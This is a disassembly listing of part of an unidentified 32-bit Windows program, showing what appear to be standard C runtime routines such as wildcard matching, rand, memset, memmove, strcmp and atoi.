; =============== S U B	R O U T	I N E =======================================



sub_4135DA	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 134h
		mov	dword_45213C[eax], ecx
		mov	dword_452128[eax], ecx
		mov	dword_45212C[eax], ecx
		mov	dword_452130[eax], ecx
		mov	dword_452134[eax], ecx
		mov	dword_452138[eax], ecx
		mov	byte ptr dword_452028[eax], cl
		mov	byte_452140[eax], cl
		retn
sub_4135DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413617	proc near		; CODE XREF: sub_40ADCF+18Bp
					; sub_40ADCF+1A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_413621:				; CODE XREF: sub_413617+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_413681
		cmp	eax, 1
		jnz	short loc_413681
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_413681
		cmp	cl, 2Ah
		jz	short loc_413668
		cmp	cl, 3Fh
		jz	short loc_41364B
		cmp	cl, 5Bh
		jz	short loc_413650
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_41364B:				; CODE XREF: sub_413617+26j
		inc	[ebp+arg_4]
		jmp	short loc_41367B
; ---------------------------------------------------------------------------


loc_413650:				; CODE XREF: sub_413617+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_4136AD
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41367B
; ---------------------------------------------------------------------------


loc_413668:				; CODE XREF: sub_413617+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_413745
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_41367B:				; CODE XREF: sub_413617+37j
					; sub_413617+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_413621
; ---------------------------------------------------------------------------


loc_413681:				; CODE XREF: sub_413617+Ej
					; sub_413617+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_413691
		cmp	eax, 1
		jnz	short loc_4136A8
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_413681
; ---------------------------------------------------------------------------


loc_413691:				; CODE XREF: sub_413617+6Dj
		cmp	eax, 1
		jnz	short loc_4136A8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4136A8
		cmp	byte ptr [esi],	0
		jnz	short loc_4136A8
		push	1
		pop	eax
		jmp	short loc_4136AA
; ---------------------------------------------------------------------------


loc_4136A8:				; CODE XREF: sub_413617+72j
					; sub_413617+7Dj ...
		xor	eax, eax


loc_4136AA:				; CODE XREF: sub_413617+8Fj
		pop	esi
		pop	ebp
		retn
sub_413617	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136AD	proc near		; CODE XREF: sub_413617+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4136CE
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4136CE:				; CODE XREF: sub_4136AD+19j
		push	ebx
		push	esi


loc_4136D0:				; CODE XREF: sub_4136AD+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4136DE
		cmp	[ebp+var_4], eax
		jnz	short loc_41372A


loc_4136DE:				; CODE XREF: sub_4136AD+2Aj
		test	edi, edi
		jnz	short loc_41371F
		cmp	bl, 2Dh
		jnz	short loc_413713
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_413713
		cmp	al, 5Dh
		jz	short loc_413713
		cmp	[ebp+var_4], edi
		jnz	short loc_413713
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_41371F
		cmp	bl, al
		jg	short loc_41371F
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_41371F
; ---------------------------------------------------------------------------


loc_413713:				; CODE XREF: sub_4136AD+38j
					; sub_4136AD+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_41371F
		push	1
		pop	edi


loc_41371F:				; CODE XREF: sub_4136AD+33j
					; sub_4136AD+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4136D0
; ---------------------------------------------------------------------------


loc_41372A:				; CODE XREF: sub_4136AD+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_413737
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_413737:				; CODE XREF: sub_4136AD+82j
		cmp	edi, eax
		jnz	short loc_413740
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_413740:				; CODE XREF: sub_4136AD+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4136AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413745	proc near		; CODE XREF: sub_413617+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_413761:				; CODE XREF: sub_413745+3Aj
		cmp	[eax], bl
		jz	short loc_413781
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_413776
		cmp	cl, 2Ah
		jnz	short loc_413781
		cmp	cl, 3Fh
		jnz	short loc_413779


loc_413776:				; CODE XREF: sub_413745+25j
		inc	eax
		mov	[edi], eax


loc_413779:				; CODE XREF: sub_413745+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_413761
; ---------------------------------------------------------------------------


loc_413781:				; CODE XREF: sub_413745+1Ej
					; sub_413745+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41378C
		inc	dword ptr [esi]
		jmp	short loc_413781
; ---------------------------------------------------------------------------


loc_41378C:				; CODE XREF: sub_413745+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4137AD
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41379E
		xor	eax, eax
		jmp	short loc_41380D
; ---------------------------------------------------------------------------


loc_41379E:				; CODE XREF: sub_413745+53j
		cmp	cl, bl
		jnz	short loc_4137AD
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_4137AD
		push	1
		pop	eax
		jmp	short loc_41380D
; ---------------------------------------------------------------------------


loc_4137AD:				; CODE XREF: sub_413745+4Dj
					; sub_413745+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F7


loc_4137BB:				; CODE XREF: sub_413745+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_4137BF:				; CODE XREF: sub_413745+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4137D7
		cmp	cl, 5Bh
		jz	short loc_4137D7
		cmp	dl, bl
		jz	short loc_4137D7
		inc	eax
		mov	[edi], eax
		jmp	short loc_4137BF
; ---------------------------------------------------------------------------


loc_4137D7:				; CODE XREF: sub_413745+82j
					; sub_413745+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4137EE
		push	eax
		push	dword ptr [esi]
		call	sub_413617
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4137F3
; ---------------------------------------------------------------------------


loc_4137EE:				; CODE XREF: sub_413745+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4137F3:				; CODE XREF: sub_413745+A7j
		cmp	eax, ebx
		jnz	short loc_4137BB


loc_4137F7:				; CODE XREF: sub_413745+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_41380A
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_41380A
		mov	[ebp+var_4], 1


loc_41380A:				; CODE XREF: sub_413745+B6j
					; sub_413745+BCj
		mov	eax, [ebp+var_4]


loc_41380D:				; CODE XREF: sub_413745+57j
					; sub_413745+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413812	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413852
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41385F
; ---------------------------------------------------------------------------


loc_413852:				; CODE XREF: sub_413812+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_41385F:				; CODE XREF: sub_413812+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413812	endp


; =============== S U B	R O U T	I N E =======================================



sub_413864	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD7+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437768, eax
		retn
sub_413864	endp


; =============== S U B	R O U T	I N E =======================================



sub_41386E	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437768
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437768, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41386E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413890	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+181p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4138E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4138D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4138B9
		sub	edx, ecx


loc_4138B3:				; CODE XREF: sub_413890+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4138B3


loc_4138B9:				; CODE XREF: sub_413890+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4138D7
		rep stosd
		test	edx, edx
		jz	short loc_4138DD


loc_4138D7:				; CODE XREF: sub_413890+18j
					; sub_413890+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4138D7


loc_4138DD:				; CODE XREF: sub_413890+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4138E3:				; CODE XREF: sub_413890+Aj
		mov	eax, [esp+arg_0]
		retn
sub_413890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138F0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_413910
		cmp	edi, eax
		jb	loc_413A88


loc_413910:				; CODE XREF: sub_4138F0+16j
		test	edi, 3
		jnz	short loc_41392C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	off_413A38[edx*4]
; ---------------------------------------------------------------------------


loc_41392C:				; CODE XREF: sub_4138F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_413944
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41394C+4[eax*4]
; ---------------------------------------------------------------------------


loc_413944:				; CODE XREF: sub_4138F0+46j
		jmp	dword ptr loc_413A48[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41394C:				; CODE XREF: sub_4138F0+31j
					; sub_4138F0+8Ej ...
		jmp	off_4139CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413960
		dd offset loc_41398C
		dd offset loc_4139B0
; ---------------------------------------------------------------------------


loc_413960:				; DATA XREF: sub_4138F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41398C:				; DATA XREF: sub_4138F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4139B0:				; DATA XREF: sub_4138F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41394C
		rep movsd
		jmp	off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4139CC	dd offset loc_413A2F	; DATA XREF: sub_4138F0:loc_41394Cr
		dd offset loc_413A1C
		dd offset loc_413A14
		dd offset loc_413A0C
		dd offset loc_413A04
		dd offset loc_4139FC
		dd offset loc_4139F4
		dd offset loc_4139EC
; ---------------------------------------------------------------------------


loc_4139EC:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4139F4:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4139FC:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_413A04:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_413A0C:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_413A14:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_413A1C:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413A2F:				; CODE XREF: sub_4138F0:loc_41394Cj
					; DATA XREF: sub_4138F0:off_4139CCo
		jmp	off_413A38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_413A38	dd offset loc_413A48	; DATA XREF: sub_4138F0+35r
					; sub_4138F0+92r ...
		dd offset loc_413A50
		dd offset loc_413A5C
		dd offset loc_413A70
; ---------------------------------------------------------------------------


loc_413A48:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_413A50:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A5C:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_413A70:				; CODE XREF: sub_4138F0+35j
					; sub_4138F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413A88:				; CODE XREF: sub_4138F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_413ABC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413AB0:				; CODE XREF: sub_4138F0+1B1j
					; sub_4138F0+208j ...
		neg	ecx
		jmp	dword ptr loc_413B7F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_413ABC:				; CODE XREF: sub_4138F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_413AD4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_413AD4+4[eax*4]
; ---------------------------------------------------------------------------


loc_413AD4:				; CODE XREF: sub_4138F0+1D6j
					; DATA XREF: sub_4138F0+1DDr
		jmp	off_413BD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413AE8
		dd offset loc_413B08
		dd offset loc_413B30
; ---------------------------------------------------------------------------


loc_413AE8:				; DATA XREF: sub_4138F0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_413B08:				; DATA XREF: sub_4138F0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413B30:				; DATA XREF: sub_4138F0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_413AB0
		std
		rep movsd
		cld
		jmp	off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		test	[ebx], bh
		inc	ecx
		add	[ebx+edi+3B940041h], cl
		inc	ecx
		add	[ebx+edi+3BA40041h], bl
		inc	ecx
		add	[ebx+edi+3BB40041h], ch
		inc	ecx


loc_413B7F:				; DATA XREF: sub_4138F0+1C2r
		add	bh, al
		cmp	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413BC7:				; CODE XREF: sub_4138F0+1C2j
		jmp	off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_413BD0	dd offset loc_413BE0	; DATA XREF: sub_4138F0+1B7r
					; sub_4138F0:loc_413AD4r ...
		dd offset loc_413BE8
		dd offset loc_413BF8
		dd offset loc_413C0C
; ---------------------------------------------------------------------------


loc_413BE0:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413BE8:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413BF8:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C0C:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4138F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413C30	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_413C7C


loc_413C40:				; CODE XREF: sub_413C30+3Cj
					; sub_413C30+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+1]
		jnz	short loc_413C74
		or	ah, ah
		jz	short loc_413C70
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+3]
		jnz	short loc_413C74
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_413C40
		mov	edi, edi


loc_413C70:				; CODE XREF: sub_413C30+18j
					; sub_413C30+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C74:				; CODE XREF: sub_413C30+14j
					; sub_413C30+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C7C:				; CODE XREF: sub_413C30+Ej
		test	edx, 1
		jz	short loc_413C98
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_413C74
		inc	ecx
		or	al, al
		jz	short loc_413C70
		test	edx, 2
		jz	short loc_413C40


loc_413C98:				; CODE XREF: sub_413C30+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+1]
		jnz	short loc_413C74
		or	ah, ah
		jz	short loc_413C70
		add	ecx, 2
		jmp	short loc_413C40
sub_413C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413CC0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CB+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_413CD9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_413CD9:				; CODE XREF: sub_413CC0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_413CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CF4	proc near		; CODE XREF: sub_413D7F+4p
					; sub_41BFB2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_413CFC:				; CODE XREF: sub_413CF4+34j
		cmp	dword_4379BC, 1
		jle	short loc_413D14
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_413D23
; ---------------------------------------------------------------------------


loc_413D14:				; CODE XREF: sub_413CF4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_413D23:				; CODE XREF: sub_413CF4+1Ej
		test	eax, eax
		jz	short loc_413D2A
		inc	edi
		jmp	short loc_413CFC
; ---------------------------------------------------------------------------


loc_413D2A:				; CODE XREF: sub_413CF4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_413D3A
		cmp	esi, 2Bh
		jnz	short loc_413D3E


loc_413D3A:				; CODE XREF: sub_413CF4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_413D3E:				; CODE XREF: sub_413CF4+44j
		xor	ebx, ebx


loc_413D40:				; CODE XREF: sub_413CF4+7Bj
		cmp	dword_4379BC, 1
		jle	short loc_413D55
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_413D60
; ---------------------------------------------------------------------------


loc_413D55:				; CODE XREF: sub_413CF4+53j
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_413D60:				; CODE XREF: sub_413CF4+5Fj
		test	eax, eax
		jz	short loc_413D71
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_413D40
; ---------------------------------------------------------------------------


loc_413D71:				; CODE XREF: sub_413CF4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_413D7A
		neg	eax


loc_413D7A:				; CODE XREF: sub_413CF4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D7F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413CF4
		pop	ecx
		retn
sub_413D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D8A	proc near		; CODE XREF: sub_401447+319p
					; sub_401BD7+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413DC9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_413DD6
; ---------------------------------------------------------------------------


loc_413DC9:				; CODE XREF: sub_413D8A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_413DD6:				; CODE XREF: sub_413D8A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
